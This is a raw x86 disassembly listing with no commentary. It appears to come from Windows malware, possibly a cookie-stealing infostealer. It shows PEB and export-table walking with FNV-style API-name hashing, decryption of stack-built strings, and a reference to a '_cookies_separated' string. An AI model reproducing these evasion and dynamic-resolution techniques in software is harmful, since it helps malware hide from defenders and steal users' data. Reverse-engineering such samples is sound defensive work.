push 0x9bad3307
push ebx
push 8
mov ecx, edi
call fcn.00407f3c
add esp, 0x10
mov byte [edi + 0x10], bl
cmp dword [esi + 0x14], 7
mov ecx, esi
jbe 0x42ff90
mov ecx, dword [esi]
mov edx, edi
jmp 0x43009a
call fcn.00431fb1
mov edi, eax
cmp byte [edi + 0x16], 0
je 0x42ffbe
push 0x9cfcb1b
push 0xf353d1c7
push ebx
push 0xb
mov ecx, edi
call fcn.00407f3c
add esp, 0x10
mov byte [edi + 0x16], bl
push ecx
push edi
mov ecx, esi
call fcn.004176fe
cmp eax, 0xffffffff
je 0x43006c
call fcn.0043204b
mov edi, eax
cmp byte [edi + 0x12], 0
je 0x42fff7
push 0xb94733d1
push 0x77df0be3
push ebx
push 9
mov ecx, edi
call fcn.00407f3c
add esp, 0x10
mov byte [edi + 0x12], bl
push ecx
push edi
mov ecx, esi
call fcn.004176fe
cmp eax, 0xffffffff
jne 0x43009f
call fcn.004320e9
mov edi, eax
cmp byte [edi + 0x2e], 0
je 0x430030
push 0x2d4d1371
push 0xdda7f3ed
push ebx
push 0x17
mov ecx, edi
call fcn.00407f3c
add esp, 0x10
mov byte [edi + 0x2e], bl
push ecx
push edi
mov ecx, esi
call fcn.004176fe
cmp eax, 0xffffffff
jne 0x43009f
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x430048
mov eax, dword [esi]
sub esp, 0x18
mov dword [esp + 0xe4], eax
mov ecx, esp
lea eax, [esp + 0xe4]
push ecx
push eax
call fcn.0040c6f3
call fcn.0040b26f
add esp, 0x18
jmp 0x43009f
mov edi, 0x4e61f8
mov ebx, dword [edi]
push ecx
push ebx
mov ecx, esi
call fcn.004176fe
cmp eax, 0xffffffff
jne 0x43008e
add edi, 4
cmp edi, 0x4e6280
jne 0x430071
jmp 0x43009f
cmp dword [esi + 0x14], 7
mov ecx, esi
jbe 0x430098
mov ecx, dword [esi]
mov edx, ebx
call fcn.00435835
push 0x18
pop eax
add esi, eax
cmp esi, dword [esp + 0x3c]
jne 0x42ff29
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x40]
add eax, 0x24
sub edx, 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x40], edx
jne 0x42ff18
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esp + 0x38]
call ebx
mov edi, dword [esp + 0x4c]
push 0xffffffffffffffff
push edi
call ebx
push 0xffffffffffffffff
push dword [esp + 0x4c]
call ebx
mov esi, dword [esp + 0x38]
push 0xffffffffffffffff
push esi
call ebx
push 0xffffffffffffffff
push dword [esp + 0x30]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push esi
call ebx
push dword [esp + 0x48]
call ebx
push dword [esp + 0x34]
call ebx
push dword [esp + 0x2c]
call ebx
mov ebx, dword fs:[0x2c]
mov dword [esp + 0x78], 0x3832d2cd
mov dword [esp + 0x7c], 0x9fcf56cf
mov word [esp + 0x80], 0xc9d9
mov edx, dword [ebx]
mov byte [esp + 0x82], 0x55
mov eax, dword [edx + 0x5f14]
test al, 1
jne 0x43019b
xorps xmm0, xmm0
mov byte [edx + 0x554b], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov esi, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [edx + 0x5f14], eax
mov al, byte [esp + ecx + 0x78]
mov byte [edx + ecx + 0x5540], al
add ecx, 1
adc esi, ebx
cmp esi, ebx
ja 0x430189
cmp ecx, 0xb
jb 0x430170
push 0x4c2051
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
xor eax, eax
lea edi, [esi + 0x5540]
cmp byte [edi + 0xb], al
je 0x4301c6
push 0xebe125a1
push 0x5155bda1
push eax
push 0xb
mov ecx, edi
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xb], al
mov byte [esp + 0x38], al
push dword [esp + 0x38]
sub esp, 0xc
mov ecx, esp
push 0x4e2b10
call fcn.0043a3f5
lea ecx, [esp + 0x328]
call fcn.0043a775
add esp, 0x10
cmp dword [eax + 0x14], 7
jbe 0x4301f4
mov eax, dword [eax]
push 4
mov edx, edi
mov ecx, eax
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x318]
call fcn.0040c4e8
push 0x48
pop eax
mov byte [esp + 0x91], al
mov eax, dword [esi + 0x5da8]
mov byte [esp + 0x90], 0xfe
mov dword [esp + 0x92], 0x3696b050
mov dword [esp + 0x96], 0x5fe9bbe4
mov word [esp + 0x9a], 0xdb4b
test al, 1
jne 0x430299
xorps xmm0, xmm0
mov byte [esi + 0x5960], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x5da8], eax
mov al, byte [esp + ecx + 0x90]
mov byte [esi + ecx + 0x5954], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x430287
cmp ecx, 0xc
jb 0x43026b
push 0x4c203e
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
xor eax, eax
lea edi, [esi + 0x5954]
cmp byte [edi + 0xc], al
je 0x4302c4
push 0x959753ff
push 0xdb3f279d
push eax
push 0xc
mov ecx, edi
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xc], al
mov byte [esp + 0x38], al
push dword [esp + 0x38]
sub esp, 0xc
mov ecx, esp
push 0x4e2b1c
call fcn.0043a35f
lea ecx, [esp + 0x340]
call fcn.0043a89d
add esp, 0x10
cmp dword [eax + 0x14], 0xf
jbe 0x4302f2
mov eax, dword [eax]
push ecx
mov edx, edi
mov ecx, eax
call fcn.00436e51
pop ecx
lea ecx, [esp + 0x330]
call fcn.0040bd96
mov eax, dword [esi + 0x4f94]
mov dword [esp + 0xac], 0xd0d31402
mov dword [esp + 0xb0], 0x5945ae99
mov dword [esp + 0xb4], 0xc7d34f10
mov word [esp + 0xb8], 0xc78b
test al, 1
jne 0x43038f
xorps xmm0, xmm0
mov byte [esi + 0x5416], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x4f94], eax
mov al, byte [esp + ecx + 0xac]
mov byte [esi + ecx + 0x5408], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x43037d
cmp ecx, 0xe
jb 0x430361
push 0x4c202b
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
lea edi, [esi + 0x5408]
cmp byte [edi + 0xe], 0
je 0x4303bb
push 0x3529c7ff
push 0xbfa76163
xor eax, eax
mov ecx, edi
push eax
push 0xe
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xe], al
cmp dword [0x4e2b54], 7
mov ecx, 0x4e2b40
push 4
cmova ecx, dword [0x4e2b40]
mov edx, edi
call fcn.00436b51
mov eax, dword [esi + 0x55b4]
mov dword [esp + 0xc0], 0x9173bd62
mov dword [esp + 0xc4], 0x78b6324c
mov dword [esp + 0xc8], 0x9b63f770
mov word [esp + 0xcc], 0x415d
pop ecx
test al, 1
jne 0x43045e
xorps xmm0, xmm0
mov byte [esi + 0x5d06], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x55b4], eax
mov al, byte [esp + ecx + 0xbc]
mov byte [esi + ecx + 0x5cf8], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x43044c
cmp ecx, 0xe
jb 0x430430
push 0x4c2018
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
lea edi, [esi + 0x5cf8]
cmp byte [edi + 0xe], 0
je 0x43048a
push 0x1dc54129
push 0xe317d903
xor eax, eax
mov ecx, edi
push eax
push 0xe
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xe], al
cmp dword [0x4e2b6c], 7
mov ecx, 0x4e2b58
push 4
cmova ecx, dword [0x4e2b58]
mov edx, edi
call fcn.00436b51
mov eax, dword [esi + 0x52e8]
mov dword [esp + 0x88], 0x4baa24e9
mov dword [esp + 0x8c], 0xdfe0212a
mov dword [esp + 0x90], 0x3fad35f5
pop ecx
test al, 1
jne 0x430523
xorps xmm0, xmm0
mov byte [esi + 0x5390], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x52e8], eax
mov al, byte [esp + ecx + 0x84]
mov byte [esi + ecx + 0x5384], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x430511
cmp ecx, 0xc
jb 0x4304f5
push 0x4c2005
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
lea edi, [esi + 0x5384]
cmp byte [edi + 0xc], 0
je 0x43054f
push 0xf1995345
push 0x3fd94d81
xor eax, eax
mov ecx, edi
push eax
push 0xc
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xc], al
cmp dword [0x4e2b9c], 7
mov ecx, 0x4e2b88
push 4
cmova ecx, dword [0x4e2b88]
mov edx, edi
call fcn.00436b51
mov eax, dword [esi + 0x4f38]
mov dword [esp + 0xa0], 0x5f50be01
mov dword [esp + 0xa4], 0x79c06a3d
mov dword [esp + 0xa8], 0x4953ff16
mov word [esp + 0xac], 0x525
pop ecx
test al, 1
jne 0x4305f2
xorps xmm0, xmm0
mov byte [esi + 0x521e], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x4f38], eax
mov al, byte [esp + ecx + 0x9c]
mov byte [esi + ecx + 0x5210], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x4305e0
cmp ecx, 0xe
jb 0x4305c4
push 0x4c1ff2
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov esi, dword [ebx]
lea edi, [esi + 0x5210]
cmp byte [edi + 0xe], 0
je 0x43061e
push 0x1da10551
push 0x3127d165
xor eax, eax
mov ecx, edi
push eax
push 0xe
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [edi + 0xe], al
cmp dword [0x4e2b84], 7
mov ecx, 0x4e2b70
push 4
cmova ecx, dword [0x4e2b70]
mov edx, edi
call fcn.00436b51
movaps xmm0, xmmword [0x4d8560]
mov eax, dword [esi + 0x5f0c]
pop ecx
movups xmmword [esp + 0x158], xmm0
test al, 1
jne 0x4306a5
xorps xmm0, xmm0
mov byte [esi + 0x5b04], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
xor ebx, ebx
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x5f0c], eax
mov al, byte [esp + ecx + 0x158]
mov byte [esi + ecx + 0x5af4], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x430693
cmp ecx, 0x10
jb 0x430677
push 0x4c1fdf
call fcn.004b0dd6
mov ebx, dword fs:[0x2c]
pop ecx
mov ebx, dword [ebx]
mov dword [esp + 0x38], ebx
lea esi, [ebx + 0x5af4]
cmp byte [esi + 0x10], 0
je 0x4306d5
push 0x1d19f38f
push 0xad352b4f
xor eax, eax
mov ecx, esi
push eax
push 0x10
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [esi + 0x10], al
cmp dword [0x4e2bb4], 7
mov ecx, 0x4e2ba0
push 4
cmova ecx, dword [0x4e2ba0]
mov edx, esi
call fcn.00436b51
pop ecx
push 0xffffffffffffffff
push dword [0x4e5ce8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, str._cookies_separated
call fcn.00414d6b
push dword [0x4e5ce8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [0x4e2b2c]
xor eax, eax
mov esi, dword [0x4e2b28]
mov dword [esp + 0x10], eax
mov eax, ecx
sub eax, esi
push 0x1c
pop edi
cdq
idiv edi
mov dword [esp + 0x30], edi
test eax, eax
je 0x430bd2
xor edx, edx
mov dword [esp + 0x18], edx
jmp 0x430748
xor edx, edx
xor eax, eax
lea edi, [esp + 0x488]
stosd dword es:[edi], eax
sub ecx, esi
push 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, ecx
mov dword [esp + 0x49c], edx
mov byte [esp + 0x48c], dl
cdq
pop ecx
idiv ecx
mov ecx, dword [0x4e2b1c]
dec eax
mov dword [esp + 0x49c], 0xf
cmp dword [esp + 0x10], eax
jne 0x43079a
mov eax, dword [0x4e2b20]
sub eax, ecx
push 0x7c
pop edi
cdq
idiv edi
mov edx, dword [esp + 0x18]
mov edi, eax
jmp 0x4307a2
mov edx, dword [esp + 0x18]
mov edi, dword [edx + esi + 0x34]
mov eax, dword [edx + esi + 0x18]
cmp eax, edi
jae 0x4307ff
push 0x7c
imul esi, eax, 0x7c
sub edi, eax
pop ebx
lea eax, [esp + 0x348]
add ecx, esi
push eax
call fcn.0042ab20
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4307cc
mov eax, dword [eax]
push ecx
push eax
lea ecx, [esp + 0x490]
call fcn.0040c513
lea ecx, [esp + 0x348]
call fcn.0040bd96
add esi, ebx
sub edi, 1
je 0x4307f5
mov ecx, dword [0x4e2b1c]
jmp 0x4307b2
mov esi, dword [0x4e2b28]
mov ebx, dword [esp + 0x38]
xor eax, eax
push 0x200
push eax
lea eax, [esp + 0xed8]
push eax
call fcn.004b21c0
add esp, 0xc
xor eax, eax
push 0x120
push eax
lea eax, [esp + 0x4f0]
push eax
call fcn.004b21c0
mov eax, dword [esp + 0x24]
add esp, 0xc
add eax, esi
mov dword [esp + 0x2c], eax
cmp dword [eax + 0x14], 7
jbe 0x430845
mov eax, dword [eax]
mov dword [esp + 0x2c], eax
movaps xmm0, xmmword [0x4d8800]
mov eax, dword [ebx + 0x53a0]
mov word [esp + 0x154], 0x290b
movups xmmword [esp + 0x134], xmm0
movaps xmm0, xmmword [0x4d87d0]
movups xmmword [esp + 0x144], xmm0
test al, 1
jne 0x4308c2
xorps xmm0, xmm0
mov byte [ebx + 0x54ba], 1
movlpd qword [esp + 0x20], xmm0
or eax, 1
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x53a0], eax
mov al, byte [esp + ecx + 0x134]
mov byte [ebx + ecx + 0x5498], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x4308b7
cmp ecx, 0x22
jb 0x430898
push 0x4c1fcc
call fcn.004b0dd6
pop ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x48], ecx
cmp ecx, esi
je 0x430960
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x430960
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
sub ecx, 4
mov dword [esp + 0x4c], 0xb5597db2
dec edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], edx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
mov byte [esp + 0x17], dl
test dl, dl
mov edx, dword [esp + 0x1c]
je 0x43095c
mov cl, byte [esp + 0x17]
mov edx, dword [esp + 0x4c]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x430920
cmp edx, 0x855ec738
je 0x430967
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x34]
test edx, edx
jne 0x4308f1
mov eax, dword [eax]
jmp 0x4308ce
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x1c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
add edi, esi
lea esi, [ebx + 0x5498]
cmp byte [esi + 0x22], 0
je 0x4309ae
push 0xcd2dc363
push 0x319d297f
xor eax, eax
mov ecx, esi
push eax
push 0x22
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [esi + 0x22], al
push dword [esp + 0x2c]
lea eax, [esp + 0xed4]
push esi
push eax
call edi
add esp, 0xc
lea edx, [esp + 0x4e8]
lea ecx, [esp + 0xed0]
call fcn.00414b08
test eax, eax
jne 0x430b74
mov eax, dword [0x4e2b28]
add eax, dword [esp + 0x18]
mov dword [esp + 0x2c], eax
cmp dword [eax + 0x14], 7
jbe 0x4309f4
mov eax, dword [eax]
mov dword [esp + 0x2c], eax
movaps xmm0, xmmword [0x4d8850]
mov eax, dword [ebx + 0x553c]
mov dword [esp + 0x130], 0x99bf2143
movups xmmword [esp + 0x110], xmm0
movaps xmm0, xmmword [0x4d8740]
movups xmmword [esp + 0x120], xmm0
test al, 1
jne 0x430a72
xorps xmm0, xmm0
mov byte [ebx + 0x5700], 1
movlpd qword [esp + 0x20], xmm0
or eax, 1
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x553c], eax
mov al, byte [esp + ecx + 0x110]
mov byte [ebx + ecx + 0x56dc], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x430a67
cmp ecx, 0x24
jb 0x430a48
push 0x4c1fb9
call fcn.004b0dd6
pop ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x48], ecx
cmp ecx, esi
je 0x430b10
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x430b10
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
sub ecx, 4
mov dword [esp + 0x4c], 0x519b0e3a
dec edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], edx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
mov byte [esp + 0x17], dl
test dl, dl
mov edx, dword [esp + 0x1c]
je 0x430b0c
mov cl, byte [esp + 0x17]
mov edx, dword [esp + 0x4c]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x430ad0
cmp edx, 0xbe641b92
je 0x430b17
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x34]
test edx, edx
jne 0x430aa1
mov eax, dword [eax]
jmp 0x430a7e
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x1c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
add edi, esi
lea esi, [ebx + 0x56dc]
cmp byte [esi + 0x24], 0
je 0x430b5e
push 0xb9a305ab
push 0x99cb5937
xor eax, eax
mov ecx, esi
push eax
push 0x24
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [esi + 0x24], al
push dword [esp + 0x10]
lea eax, [esp + 0xed4]
push dword [esp + 0x30]
push esi
push eax
call edi
add esp, 0x10
cmp dword [esp + 0x49c], 0xf
lea ecx, [esp + 0x488]
lea edx, [esp + 0xed0]
cmova ecx, dword [esp + 0x488]
push ecx
call fcn.00436e51
pop ecx
lea ecx, [esp + 0x488]
call fcn.0040bd96
mov ecx, dword [0x4e2b2c]
mov esi, dword [0x4e2b28]
push 0x1c
pop eax
add dword [esp + 0x18], eax
mov eax, ecx
sub eax, esi
mov edi, dword [esp + 0x10]
cdq
inc edi
idiv dword [esp + 0x30]
mov dword [esp + 0x10], edi
cmp edi, eax
jb 0x430746
call fcn.004346c8
lea eax, [esp + 0x5c]
push eax
lea edx, [esp + 0x48]
call fcn.00414baa
mov eax, dword [esp + 0x60]
push 2
pop ebx
movzx ecx, word [eax + 0xa]
mov edx, dword [eax + 0x30]
mov eax, dword [esp + 0x48]
sub edx, ebx
imul edx, ecx
imul eax, ecx
push ecx
sub edx, eax
shr edx, 1
shl edx, 0xa
call fcn.004b0396
mov dword [0x4e61f4], eax
xor eax, eax
pop ecx
pop ecx
cmp dword [0x4e61f4], eax
je 0x43158a
push 1
push 0x4d1654
call fcn.004b080a
mov edx, eax
lea ecx, [esp + 0x430]
call fcn.0042b500
pop ecx
pop ecx
mov ecx, dword [0x4e61f4]
lea edx, [esp + 0x428]
call fcn.004342c2
lea ecx, [esp + 0x428]
call fcn.0040c4e8
mov esi, dword [0x4e61f4]
test esi, esi
jne 0x430c74
mov dword [0x4e6548], 0x10000
jmp 0x43158a
cmp dword [esi], ebx
je 0x430c87
mov dword [0x4e6548], 0x80000
jmp 0x43158a
mov esi, dword [esi + 4]
cmp byte [esi + 0x28], 0
jne 0x430c97
mov ecx, esi
call fcn.004b02d6
mov ecx, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x14]
test ecx, ecx
mov dword [esp + 0x4c], eax
mov eax, 0x20000
cmovne eax, edx
mov byte [esi + 0x28], 1
mov dword [esp + 0xcc], ecx
mov dword [0x4e6548], eax
je 0x43158a
xor ebx, ebx
mov dword [esp + 0x420], 0x100
xor eax, eax
mov byte [esp + 0x3f7], bl
mov word [esp + 0x3f5], ax
mov dword [esp + 0x3f0], ebx
mov byte [esp + 0x3f4], bl
mov dword [esp + 0x3f8], 0x400
mov dword [esp + 0x3fc], 8
mov dword [esp + 0x400], ebx
mov dword [esp + 0x404], ebx
mov dword [esp + 0x408], ebx
mov dword [esp + 0x40c], ebx
mov dword [esp + 0x410], ebx
mov dword [esp + 0x414], ebx
mov dword [esp + 0x418], eax
mov dword [esp + 0x41c], 1
mov dword [esp + 0x424], ebx
call fcn.0043916b
push eax
lea ecx, [esp + 0xe0]
call fcn.0040c1e2
lea edx, [esp + 0xdc]
lea ecx, [esp + 0x428]
call fcn.0043605d
lea ecx, [esp + 0xdc]
call fcn.0040c4e8
mov esi, dword [esp + 0x438]
lea edi, [esp + 0x428]
cmp dword [esp + 0x43c], 0xf
lea ecx, [esp + 0x3f0]
push 4
cmova edi, dword [esp + 0x42c]
lea eax, [esi + 1]
push eax
call fcn.0042bac8
push 1
lea ecx, [esp + 0x3f4]
call fcn.0042b7c7
mov eax, dword [esp + 0x40c]
mov byte [eax], bl
test esi, esi
je 0x430ddc
push esi
push edi
push esi
lea ecx, [esp + 0x3fc]
call fcn.0042b7c7
push eax
call fcn.004b1c10
add esp, 0xc
push esi
lea ecx, [esp + 0x3f4]
call fcn.0043a6cb
mov edi, dword [0x4e6da0]
mov esi, dword [esp + 0x404]
mov dword [esp + 0x34], esi
test edi, edi
jne 0x430fef
mov eax, dword fs:[0x30]
mov esi, 0x6b80c40e
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 0x1f3cfa94
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edi, dword [eax + 0x30]
add ecx, 0xfffffff8
test ebx, ebx
je 0x430e78
movzx ecx, cx
mov edx, esi
shr ecx, 1
lea ecx, [edi + ecx*2]
mov dword [esp + 0x44], ecx
cmp edi, ecx
je 0x430e70
mov ebx, ecx
movsx ecx, byte [edi]
add edi, 2
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
cmp edi, ebx
jne 0x430e40
mov ebx, dword [esp + 0x18]
cmp edx, ebx
jne 0x430f1d
mov ebx, dword [eax + 0x18]
mov ecx, dword [ebx + 0x3c]
mov edx, dword [ecx + ebx + 0x78]
mov ecx, dword [ecx + ebx + 0x7c]
mov dword [esp + 0x38], ecx
lea ecx, [edx + ebx]
mov dword [esp + 0x5c], ecx
cmp ecx, ebx
je 0x430f19
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x430f19
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, ebx
sub ecx, 4
mov dword [esp + 0x1c], esi
dec edx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x2c], edx
mov edi, dword [ecx]
add edi, ebx
mov bl, byte [edi]
inc edi
mov byte [esp + 0x17], bl
test bl, bl
mov ebx, dword [eax + 0x18]
je 0x430f0b
mov cl, byte [esp + 0x17]
mov ebx, esi
movsx ecx, cl
xor ecx, ebx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul ebx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x430ed0
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x1c], ebx
mov ebx, dword [eax + 0x18]
mov edi, dword [esp + 0x1c]
cmp edi, dword [esp + 0x10]
je 0x430f24
test edx, edx
jne 0x430ea8
mov ebx, dword [esp + 0x18]
mov eax, dword [eax]
jmp 0x430e1f
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x2c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + ebx]
add edi, ebx
cmp edi, edx
jbe 0x430fe3
mov eax, dword [esp + 0x38]
add eax, edx
cmp edi, eax
jae 0x430fe3
mov al, byte [edi]
mov ecx, esi
mov dword [esp + 0x18], esi
mov ebx, esi
mov dword [esp + 0x10], ecx
cmp al, 0x2e
je 0x430f9b
movsx eax, al
xor eax, ebx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ebx, eax, 0x1000193
inc edi
mov al, byte [edi]
cmp al, 0x2e
jne 0x430f69
mov dword [esp + 0x18], ebx
mov ecx, esi
inc edi
mov al, byte [edi]
test al, al
je 0x430fd2
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
mov eax, ecx
shr eax, 0x10
xor eax, ecx
imul ecx, eax, 0x1000193
inc edi
mov al, byte [edi]
test al, al
jne 0x430fa2
mov dword [esp + 0x10], ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x430f1d
mov esi, dword [esp + 0x34]
xor ebx, ebx
mov dword [0x4e6da0], edi
call fcn.00438f56
push eax
call edi
mov edi, eax
call fcn.00438f56
push edi
push eax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0x3fc]
call fcn.0043a945
mov edi, dword [0x4e7a2c]
test edi, edi
jne 0x43120d
mov eax, dword fs:[0x30]
mov esi, 0x51c99834
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 0x8e0f8a87
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edi, dword [eax + 0x30]
add ecx, 0xfffffff8
test ebx, ebx
je 0x431098
movzx ecx, cx
mov edx, esi
shr ecx, 1
lea ecx, [edi + ecx*2]
mov dword [esp + 0x44], ecx
cmp edi, ecx
je 0x431090
mov ebx, ecx
movsx ecx, byte [edi]
add edi, 2
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
cmp edi, ebx
jne 0x431060
mov ebx, dword [esp + 0x18]
cmp edx, ebx
jne 0x43113d
mov ebx, dword [eax + 0x18]
mov ecx, dword [ebx + 0x3c]
mov edx, dword [ecx + ebx + 0x78]
mov ecx, dword [ecx + ebx + 0x7c]
mov dword [esp + 0x38], ecx
lea ecx, [edx + ebx]
mov dword [esp + 0x5c], ecx
cmp ecx, ebx
je 0x431139
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x431139
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, ebx
sub ecx, 4
mov dword [esp + 0x1c], esi
dec edx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x2c], edx
mov edi, dword [ecx]
add edi, ebx
mov bl, byte [edi]
inc edi
mov byte [esp + 0x17], bl
test bl, bl
mov ebx, dword [eax + 0x18]
je 0x43112b
mov cl, byte [esp + 0x17]
mov ebx, esi
movsx ecx, cl
xor ecx, ebx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul ebx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x4310f0
